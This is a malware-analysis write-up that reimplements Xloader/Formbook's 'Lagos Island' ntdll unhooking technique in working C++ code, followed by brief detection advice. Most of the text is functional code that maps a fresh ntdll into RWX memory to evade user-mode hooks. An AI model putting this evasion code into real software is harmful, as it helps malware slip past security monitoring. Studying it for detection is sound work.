This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules
This TTP has been extracted from Xloader4.3 malware. It reads Windows’ ntdll.dll module from disk into memory, and calls its exported functions directly, rendering user-mode hooking and API monitoring mechanisms ineffective. The FireEye calls this technique “Lagos Island method” (allegedly originating from a userland rootkit with this name).
The procedure is performed in 3 steps:
Xloader4.3 AKA Formbook uses undocumented ntdll APIs for its malicious activities therefore to recreate such a sophisticated piece of malware. We need to implement those APIs. For using ntdll APIs, we need to define each API and its necessary structures. There is an excellent resource called NTAPI Undocumented Functions, which helped me in defining those APIs. I have included a seperate header file these definitions in my project:
#ifndef DEFINITIONS_H
#define DEFINITIONS_H
#include <Windows.h>
// Structures for ntdll APIs
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length; HANDLE RootDirectory;
PUNICODE_STRING ObjectName; ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
// ......
// ......
// ......
using myNtCreateFile = NTSTATUS(NTAPI*)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes, IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer,
IN ULONG EaLength);
// .....
// .....
// .....
#endif // DEFINITIONS_H
Xloader4.3 AKA Formbook malware uses NtReadFile API to read the contents of ntdll as RAW bytes into the memory. For this i need a module handle to ntdll and the path of file to read (which is obviously ntdll). For x86 version, the ntdll must be from the SysWOW64 directory but for x64 version, the ntdll must be from System32 directory.
To read raw ntdll in memory, we need 3 steps:
HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
WCHAR wcFilepath[] = L"\\??\\C:\\Windows\\System32\\ntdll.dll";
// Load NtCreateFile function dynamically
if (hNtDll != nullptr) {
myNtCreateFile fNtCreateFile = (myNtCreateFile)(GetProcAddress(hNtDll, "NtCreateFile"));
myNtQueryInformationFile fNtQueryInformationFile = (myNtQueryInformationFile)GetProcAddress(hNtDll, "NtQueryInformationFile");
myNtReadFile fNtReadFile = (myNtReadFile)GetProcAddress(hNtDll, "NtReadFile");
HANDLE fileHandle;
NTSTATUS stat;
if (!fNtCreateFile || !fNtQueryInformationFile || !fNtReadFile) {
std::cerr << "Failed to get address of Native calls" << std::endl;
return -1;
}
OBJECT_ATTRIBUTES objectAttributes;
IO_STATUS_BLOCK ioStatusBlock;
UNICODE_STRING fileName;
// Initialize objectAttributes and objectName here...
RtlInitUnicodeString(&fileName, wcFilepath); //path to RAW dll
InitializeObjectAttributes(&objectAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
// using NtCreateFile for getting the handle of dll
stat = fNtCreateFile(&fileHandle, FILE_GENERIC_READ, &objectAttributes, &ioStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN,
FILE_RANDOM_ACCESS | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(stat)){
std::cerr << "Failed to get handle of library" << std::endl;
return -1;
}
// using NtQueryInformationFile to get the size of RAW library
FILE_STANDARD_INFORMATION fileInfo;
IO_STATUS_BLOCK ioStatus;
stat = fNtQueryInformationFile(fileHandle, &ioStatus, &fileInfo,
sizeof(fileInfo), FileStandardInformation);
if (!NT_SUCCESS(stat)) {
std::cerr << "Failed to get library size" << stat << std::endl;
return -1;
}
SIZE_T file_size = fileInfo.EndOfFile.QuadPart;
std::wcout << "File Path: " << wcFilepath << std::endl;
std::cout << "File size: " << file_size << " bytes" << std::endl;
// Allocate buffer using RtlAllocateHeap
PVOID pBuffer = RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, file_size);
//PVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, file_size);
if (pBuffer == NULL) {
std::cerr << "Failed to allocate buffer" << stat << std::endl;
return -1;
}
// Read RAW binary bytes into the memory
PLARGE_INTEGER ByteOffset = nullptr;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
stat = fNtReadFile(
fileHandle,
nullptr,
nullptr,
nullptr,
&IoStatusBlock,
pBuffer,
file_size,
ByteOffset,
nullptr // Key
);
if (!NT_SUCCESS(stat)) {
std::cerr << "Failed to Read RAW bytes" << stat << std::endl;
return -1;
}
std::cout << "RAW bytes read in memory at: " << pBuffer << std::endl;
return 0;
}
else {
// Handle error
std::cerr << "Failed to get ntdll handle" << stat << std::endl;
return -1;
}
We have to manually map the RAW bytes into the memory to be able to use it for executing functions. In the following function, i am using NtAllocateVirtualMemory to allocate an RWX memory region for mapping ntdll RAW bytes. The sections and headers are then enumerated and copied into the RWX memory region.
// Function to manually map a DLL into memory
PVOID MapDLLFromBuffer(LPVOID pBuffer, HMODULE hNtDll)
{
std::cout << "[x] Mapping library from RAW buffer " << std::endl;
if (hNtDll != nullptr) {
// Importing NtAllocateVirtualMemory
myNtAllocateVirtualMemory fNtAllocateVirtualMemory = (myNtAllocateVirtualMemory)(GetProcAddress(hNtDll, "NtAllocateVirtualMemory"));
if (!fNtAllocateVirtualMemory) {
std::cerr << "Failed to get address of Native calls" << std::endl;
return NULL;
}
// Check for MZ and PE headers
// pBuffer is assumed to be pointing to the start of the DLL in memory
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pBuffer;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { // Check for 'MZ'
return NULL;
}
IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS*)((BYTE*)pBuffer + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { // Check for 'PE\0\0'
return NULL;
}
// Allocate a buffer for the dll
std::cout << "[x] Allocating RWX buffer" << std::endl;
SIZE_T sizeOfImage = pNtHeaders->OptionalHeader.SizeOfImage;
PVOID newBuffer = NULL;
NTSTATUS status = fNtAllocateVirtualMemory(
GetCurrentProcess(), //can also use NtCurrentProcess() as used by xloader
&newBuffer,
0,
&sizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status)) {
std::cerr << "Failed to allocate virtual memory" << std::endl;
return NULL;
}
std::cout << "[x] Copying headers/sections into allocated buffer" << std::endl;
// Copy PE headers
SIZE_T sizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders;
memcpy(newBuffer, pBuffer, sizeOfHeaders);
// Read the number of sections
WORD numberOfSections = pNtHeaders->FileHeader.NumberOfSections;
// Process each section and copy to new allocated RWX buffer
IMAGE_SECTION_HEADER* pSectionHeaders = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < numberOfSections; i++) {
IMAGE_SECTION_HEADER* pSection = &pSectionHeaders[i];
PVOID sectionDestination = (PVOID)((BYTE*)newBuffer + pSection->VirtualAddress);
PVOID sectionSource = (PVOID)((BYTE*)pBuffer + pSection->PointerToRawData);
SIZE_T sectionSize = pSection->SizeOfRawData;
memcpy(sectionDestination, sectionSource, sectionSize);
}
std::cout << "[x] Library Mapped Successfully" << std::endl;
return newBuffer;
}
else
{
return NULL;
}
}
Now that ntdll is manually mapped into the memory. We can use it to import any ntdll API we want. To use the ntdll APIs we also need to define the APIs first. In my implementation, since i already have the definition of NtCreateFile available, so i loaded unhooked function from the manually mapped ntdll version and executed it. It will be executed as a Syscall since we are bypassing user-mode and going directly to the kernel using fresh copy of ntdll.
FARPROC LoadFunctionAddresses(PVOID newBuffer, const char* API)
{
// Access the export table
// Assuming newBuffer is the base address where the DLL is loaded
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)newBuffer;
IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS*)((BYTE*)newBuffer + pDosHeader->e_lfanew);
// Check if it's a valid PE file
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return NULL;
}
// Get the Export Directory
IMAGE_DATA_DIRECTORY exportDir = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDir.VirtualAddress == 0) {
return NULL;
}
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)newBuffer + exportDir.VirtualAddress);
// Find the Required Function in the Export Table
DWORD* namePtr = (DWORD*)((BYTE*)newBuffer + pExportDir->AddressOfNames);
WORD* ordinalPtr = (WORD*)((BYTE*)newBuffer + pExportDir->AddressOfNameOrdinals);
DWORD* funcPtr = (DWORD*)((BYTE*)newBuffer + pExportDir->AddressOfFunctions);
FARPROC pApiAddress = NULL;
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
char* functionName = (char*)newBuffer + namePtr[i];
if (strcmp(functionName, API) == 0) {
DWORD functionRVA = funcPtr[ordinalPtr[i]];
pApiAddress = (FARPROC)((BYTE*)newBuffer + functionRVA);
break;
}
}
return pApiAddress;
}
This method of unhooking ntdll can be detected by monitoring the initial ntdll APIs used to read RAW ntdll in memory. Monitor the following APIs to detect this behaviour:
In my analysis of Xloader4.3 AKA Formabook, i have been able to detect this behaviour based on the process events that are generated by the malware while reading ntdll in memory using procmon (although anti-analysis techniques prevent malware execution in the presence of such tools. But there is a way to bypass everything ;) )
An advanced version of this technique could be to duplicate ntdll and manually map in memory without reading it from the disk (idea for next PoC)
In the above screenshot, I have explained how APIs called by Lagos Island method are not recognized by either debugger or other API monitor tools. It manually finds the API addresses from the RWX buffer and execute those Native APIs with direct syscalls.
While debugging, you can see that and RWX memory region is created in the process space of executing binary. It is actually manual mapped ntdll loaded from the disk. In the code, the last API syscall is for NtCreateFile. It uses this API for creating an empty file in Public folder with the name “LagosIsland.txt”.
If you received an error for unresolved external for RtlAllocateHeap, just include ntdll.lib in the project or in the code use the function HeapAlloc instead of RtlAllocateHeap to avoid the following error.
Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries
Artifacts and code of this repository are intended for educational purposes only !!!